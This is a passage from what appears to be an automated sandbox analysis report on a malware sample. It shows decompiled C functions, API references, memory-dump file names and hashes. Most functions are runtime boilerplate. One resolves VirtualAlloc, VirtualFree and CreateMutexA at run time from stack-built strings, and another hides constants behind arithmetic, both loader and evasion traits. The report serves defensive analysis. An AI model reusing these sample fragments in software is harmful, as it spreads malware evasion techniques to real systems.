					}
					_t6 = E6EFC2A43(_t7, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x6efbfeb1
0x6efbfeb7
0x6efbfebd
0x6efbfeef
0x6efbfef4
0x6efbfefa
0x00000000
0x6efbfefa
0x6efbfec1
0x6efbfec3
0x6efbfec3
0x6efbfeda
0x6efbfee3
0x6efbfeeb
0x00000000
0x00000000
0x6efbfecb
0x6efbfecd
0x00000000
0x00000000
0x6efbfed0
0x6efbfed5
0x6efbfed6
0x6efbfed8
0x00000000
0x00000000
0x6efbfed8
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,6EFFE844,6EFFE824,?,6EFBC421,0000BC00,6EFFE844,00000000), ref: 6EFBFEE3

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2739fdd121b9083464f52229f22cc1527a45e56a270f3db7d18489652f78bde4
Instruction ID: 2b448fc128de951f7a445d49663d3ed0c42d368fe19125d928171848510c0ede
Opcode Fuzzy Hash: 2739fdd121b9083464f52229f22cc1527a45e56a270f3db7d18489652f78bde4
Instruction Fuzzy Hash: 62E0EC3B14065257F7D055D79C30B67BA4CDF82B70F301091DC15D76D6DB70D50041A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBE93F, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFBE93F(intOrPtr _a4) {
				intOrPtr _v8;
				void* _t5;

				_v8 = 0;
				_t5 = E6EFBFEFF(_a4); // executed
				return _t5;
			}

0x6efbe948
0x6efbe952
0x6efbe95b

APIs

_free.LIBCMT ref: 6EFBE952

Part of subcall function 6EFBFEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 25859c18ab612c5f0631ce58c7b6183bdee4517b4cbaaa23e1fa741b9d1b91b5
Instruction ID: 693679c0138b1fff70b1924252656ff140de2339e877191b2a6eebf0acb19c36
Opcode Fuzzy Hash: 25859c18ab612c5f0631ce58c7b6183bdee4517b4cbaaa23e1fa741b9d1b91b5
Instruction Fuzzy Hash: 67C0123140410CB7DB008A85D805A5A7B68D780324F200185F80847200DA725E105580

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

0x100117d2
0x100117d5
0x100117d7
0x100117db
0x100117dc
0x100117e1
0x100117e8
0x100117f1
0x100117f8
0x100117ff
0x10011803
0x10011807
0x1001180e
0x1001181b
0x10011822
0x10011825
0x1001182c
0x10011833
0x10011844
0x10011847
0x10011859
0x1001185c
0x10011863
0x1001186a
0x1001186e
0x10011881
0x1001188d
0x10011893

APIs

lstrcmpiW.KERNELBASE(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000005.00000002.259008472.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.258992428.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.259056057.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBBA90, Relevance: 1.3, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFBBA90(void* _a4, long _a8, long _a12, long _a16) {
				void* _t5;

				_t5 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
				return _t5;
			}

0x6efbba9f
0x6efbbaa6

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 6EFBBA9F

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 830fbeda0f4aaa28cc11958712791f94ad611d5a6f2a401dd16af1315aea1ce7
Instruction ID: 18252df946d3d2aa35330c9cc7fb509fe98e0d36b06e660cb6b8207b95d52093
Opcode Fuzzy Hash: 830fbeda0f4aaa28cc11958712791f94ad611d5a6f2a401dd16af1315aea1ce7
Instruction Fuzzy Hash: 63C0483208024DFBCF026F81EC0889A7F3AFB896A0F008010FA1845021C733A930ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBBAB0, Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFBBAB0(void* _a4, long _a8, long _a12) {
				int _t4;

				_t4 = VirtualFree(_a4, _a8, _a12); // executed
				return _t4;
			}

0x6efbbabc
0x6efbbac3

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 6EFBBABC

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f0be96afa2a463f0280bb8c4cd0f35d7db8072a22e78f33e8f6ddd6014d90ce7
Instruction ID: be469571efc4a142a9239f682e51fb9d7cde8b217a29b632b64ec66623e6fdd5
Opcode Fuzzy Hash: f0be96afa2a463f0280bb8c4cd0f35d7db8072a22e78f33e8f6ddd6014d90ce7
Instruction Fuzzy Hash: 35B0923204024CFBCF022F81DC088DA3F3AFB896A1F008050FA1C05020C733E570AB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EFA1305, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFA1305() {
				char _v5;
				intOrPtr _v9;
				intOrPtr _v13;
				char _v17;
				char _v18;
				intOrPtr _v22;
				intOrPtr _v26;
				char _v30;
				char _v31;
				char _v32;
				short _v34;
				intOrPtr _v38;
				char _v42;
				char _v43;
				intOrPtr _v47;
				intOrPtr _v51;
				char _v55;
				char _v56;
				intOrPtr _v60;
				char _v64;
				struct HINSTANCE__* _t26;
				struct HINSTANCE__* _t28;
				struct HINSTANCE__* _t30;
				struct HINSTANCE__* _t32;
				_Unknown_base(*)()* _t33;

				_v64 = 0x6e72656b;
				_v60 = 0x32336c65;
				_v56 = 0;
				_v55 = 0x74726956;
				_v51 = 0x416c6175;
				_v47 = 0x636f6c6c;
				_v43 = 0;
				_v42 = 0x74726956;
				_v38 = 0x466c6175;
				_v34 = 0x6572;
				_v32 = 0x65;
				_v31 = 0;
				_v30 = 0x61657243;
				_v26 = 0x754d6574;
				_v22 = 0x41786574;
				_v18 = 0;
				_v17 = 0x4c746547;
				_v13 = 0x45747361;
				_v9 = 0x726f7272;
				_v5 = 0;
				_t21 =  &_v64; // 0x6e72656b
				_t26 = GetModuleHandleA(_t21);
				if(_t26 != 0) {
					_t22 =  &_v55; // 0x74726956
					 *0x6efe6064 = GetProcAddress(_t26, _t22);
					_t28 = _t26;
					_t23 =  &_v42; // 0x74726956
					 *0x6efe6068 = GetProcAddress(_t28, _t23);
					_t30 = _t28;
					_t24 =  &_v30; // 0x61657243
					 *0x6efe606c = GetProcAddress(_t30, _t24);
					_t32 = _t30;
					_t33 = GetProcAddress(_t32,  &_v17);
					 *0x6efe6070 = _t33;
					return _t33;
				}
				return _t26;
			}

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EFA1388
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 6EFA1398
GetProcAddress.KERNEL32(6E72656B,VirtualFreCreateMutexA), ref: 6EFA13AA
GetProcAddress.KERNEL32(32336C65,CreateMutexA), ref: 6EFA13BC
GetProcAddress.KERNEL32(00000000,4C746547), ref: 6EFA13CD

Strings

texA, xrefs: 6EFA1360
kernel32, xrefs: 6EFA1384, 6EFA1387
GetL, xrefs: 6EFA136B
astE, xrefs: 6EFA1372
VirtualFreCreateMutexA, xrefs: 6EFA13A5, 6EFA13A8
VirtualAlloc, xrefs: 6EFA1393, 6EFA1396
rror, xrefs: 6EFA1379

Memory Dump Source

Source File: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: GetL$VirtualAlloc$VirtualFreCreateMutexA$astE$kernel32$rror$texA
API String ID: 667068680-3744176233
Opcode ID: 34f2ad905cfb4145ff6918dcf9ebdbec0382b1a8c4a6b02915b3c0faab18cf66
Instruction ID: c25fcc9bf8610a3efa45c0c309069698d7f6cd0e530206065638faf7a7f1afa9
Opcode Fuzzy Hash: 34f2ad905cfb4145ff6918dcf9ebdbec0382b1a8c4a6b02915b3c0faab18cf66
Instruction Fuzzy Hash: 8A211FB1C14788EFEF01DFE4C548BEEBB79AB86700F108549E541AA214DAB49204CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC429D, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC429D(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6efe6790) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6EFBFEFF(_t46);
							E6EFC4608( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6EFBFEFF(_t47);
							E6EFC4706( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6EFBFEFF( *((intOrPtr*)(_t74 + 0x7c)));
						E6EFBFEFF( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6EFBFEFF( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6EFC4410( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6efe6260) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6EFBFEFF(_t31);
							E6EFBFEFF( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6EFBFEFF(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6EFBFEFF(_t74);
			}

APIs

___free_lconv_mon.LIBCMT ref: 6EFC42E1

Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4625
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4637
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4649
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC465B
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC466D
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC467F
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC4691
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46A3
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46B5
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46C7
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46D9
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46EB
Part of subcall function 6EFC4608: _free.LIBCMT ref: 6EFC46FD

_free.LIBCMT ref: 6EFC42D6

Part of subcall function 6EFBFEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC42F8
_free.LIBCMT ref: 6EFC430D
_free.LIBCMT ref: 6EFC4318
_free.LIBCMT ref: 6EFC433A
_free.LIBCMT ref: 6EFC434D
_free.LIBCMT ref: 6EFC435B
_free.LIBCMT ref: 6EFC4366
_free.LIBCMT ref: 6EFC439E
_free.LIBCMT ref: 6EFC43A5
_free.LIBCMT ref: 6EFC43C2
_free.LIBCMT ref: 6EFC43DA

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: a1df6debfc1e4401132aaa0c17674bba56a72f4ffb4f0e0d5ea2882d9b82306c
Instruction ID: 3bc1fea1c9d5fb080412ee7d12053aaa11380da619d997f5155aab74cadb9846
Opcode Fuzzy Hash: a1df6debfc1e4401132aaa0c17674bba56a72f4ffb4f0e0d5ea2882d9b82306c
Instruction Fuzzy Hash: 413173326043079FE7509AF9DC60B9B73E9BF80724F304A5AE455DB651DF31A8429B21

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC0EF4, Relevance: 15.1, APIs: 10, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EFC0EF4(void* __edx, void* __esi, char _a4) {
				char _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				intOrPtr _t67;
				void* _t71;
				void* _t72;

				_t72 = __esi;
				_t71 = __edx;
				_t36 = _a4;
				_t67 =  *_a4;
				_t76 = _t67 - 0x6efc8a38;
				if(_t67 != 0x6efc8a38) {
					E6EFBFEFF(_t67);
					_t36 = _a4;
				}
				E6EFBFEFF( *((intOrPtr*)(_t36 + 0x3c)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x30)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x34)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x38)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x28)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x2c)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x40)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x44)));
				E6EFBFEFF( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E6EFC0D3C( &_v5, _t71, _t76);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E6EFC0D9D( &_v5, _t71, _t72, _t76);
			}

APIs

_free.LIBCMT ref: 6EFC0F0A

Part of subcall function 6EFBFEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC0F16
_free.LIBCMT ref: 6EFC0F21
_free.LIBCMT ref: 6EFC0F2C
_free.LIBCMT ref: 6EFC0F37
_free.LIBCMT ref: 6EFC0F42
_free.LIBCMT ref: 6EFC0F4D
_free.LIBCMT ref: 6EFC0F58
_free.LIBCMT ref: 6EFC0F63
_free.LIBCMT ref: 6EFC0F71

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4af392d91160600a78c4ad6fa1f8a7125f28f8348c30e3276d89a187e4f85b29
Instruction ID: 70017936242db0ac2550402b124d10266041f1bf96e3009c35d1390077f7af4e
Opcode Fuzzy Hash: 4af392d91160600a78c4ad6fa1f8a7125f28f8348c30e3276d89a187e4f85b29
Instruction Fuzzy Hash: 43219B7A900148AFDB41EFD9CC50DEE7BB9AF08354F2045A6E515DF621EB31EA54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBD3D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E6EFBD3D0(void* __ebx, void* __edi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v40;
				char _t51;
				signed int _t58;
				intOrPtr _t59;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				intOrPtr* _t64;
				intOrPtr* _t67;
				intOrPtr _t71;
				intOrPtr _t73;
				signed int _t75;
				char _t77;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr* _t97;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t110;

				_t71 = _a8;
				_v5 = 0;
				_t93 = _t71 + 0x10;
				_push(_t93);
				_v16 = 1;
				_v20 = _t93;
				_v12 =  *(_t71 + 8) ^  *0x6efe609c;
				E6EFBD390( *(_t71 + 8) ^  *0x6efe609c);
				E6EFBD717(_a12);
				_t51 = _a4;
				_t102 = _t101 + 0xc;
				_t90 =  *((intOrPtr*)(_t71 + 0xc));
				if(( *(_t51 + 4) & 0x00000066) != 0) {
					__eflags = _t90 - 0xfffffffe;
					if(_t90 != 0xfffffffe) {
						E6EFBD700(_t71, 0xfffffffe, _t93, 0x6efe609c);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t51;
					_v28 = _a12;
					 *((intOrPtr*)(_t71 - 4)) =  &_v32;
					if(_t90 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t75 = _v12;
							_t20 = _t90 + 2; // 0x3
							_t58 = _t90 + _t20 * 2;
							_t73 =  *((intOrPtr*)(_t75 + _t58 * 4));
							_t59 = _t75 + _t58 * 4;
							_t76 =  *((intOrPtr*)(_t59 + 4));
							_v24 = _t59;
							if( *((intOrPtr*)(_t59 + 4)) == 0) {
								_t77 = _v5;
								goto L8;
							} else {
								_t60 = E6EFBD6B0(_t76, _t93);
								_t77 = 1;
								_v5 = 1;
								_t110 = _t60;
								if(_t110 < 0) {
									_v16 = 0;
									L14:
									_push(_t93);
									E6EFBD390(_v12);
									goto L15;
								} else {
									if(_t110 > 0) {
										_t61 = _a4;
										__eflags =  *_t61 - 0xe06d7363;
										if( *_t61 == 0xe06d7363) {
											__eflags =  *0x6efc8a30;
											if(__eflags != 0) {
												_t67 = E6EFC6B90(__eflags, 0x6efc8a30);
												_t102 = _t102 + 4;
												__eflags = _t67;
												if(_t67 != 0) {
													_t97 =  *0x6efc8a30; // 0x6efbe30c
													 *0x6efc8124(_a4, 1);
													 *_t97();
													_t93 = _v20;
													_t102 = _t102 + 8;
												}
												_t61 = _a4;
											}
										}
										E6EFBD6E4(_t61, _a8, _t61);
										_t63 = _a8;
										__eflags =  *((intOrPtr*)(_t63 + 0xc)) - _t90;
										if( *((intOrPtr*)(_t63 + 0xc)) != _t90) {
											E6EFBD700(_t63, _t90, _t93, 0x6efe609c);
											_t63 = _a8;
										}
										 *((intOrPtr*)(_t63 + 0xc)) = _t73;
										_t64 = E6EFBD390(_v12);
										E6EFBD6C8();
										asm("int3");
										__imp__InterlockedFlushSList(_v40, _t98, _t93);
										__eflags = _t64;
										if(_t64 != 0) {
											_push(_t93);
											do {
												_t95 =  *_t64;
												E6EFBE93F(_t64);
												_t64 = _t95;
												__eflags = _t95;
											} while (_t95 != 0);
											return _t64;
										}
										return _t64;
									} else {
										goto L8;
									}
								}
							}
							goto L29;
							L8:
							_t90 = _t73;
						} while (_t73 != 0xfffffffe);
						if(_t77 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L29:
			}

APIs

_ValidateLocalCookies.LIBCMT ref: 6EFBD3FB
___except_validate_context_record.LIBVCRUNTIME ref: 6EFBD403
_ValidateLocalCookies.LIBCMT ref: 6EFBD491
__IsNonwritableInCurrentImage.LIBCMT ref: 6EFBD4BC
_ValidateLocalCookies.LIBCMT ref: 6EFBD511

Strings

csm, xrefs: 6EFBD4A6

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b4837b56995ccc333252a7639d44b0d3945453a641c44992131da10fcd049dc2
Instruction ID: a94c26383822543155636723e1b394734ad78df9c54454aad7be88a9863053ef
Opcode Fuzzy Hash: b4837b56995ccc333252a7639d44b0d3945453a641c44992131da10fcd049dc2
Instruction Fuzzy Hash: DD419534A10209EBCB00DFAAC86469E7BB5AF45328F10C565E9199F251D737F901CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC0262, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC0262(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x6effe350 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x6efc8ce8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
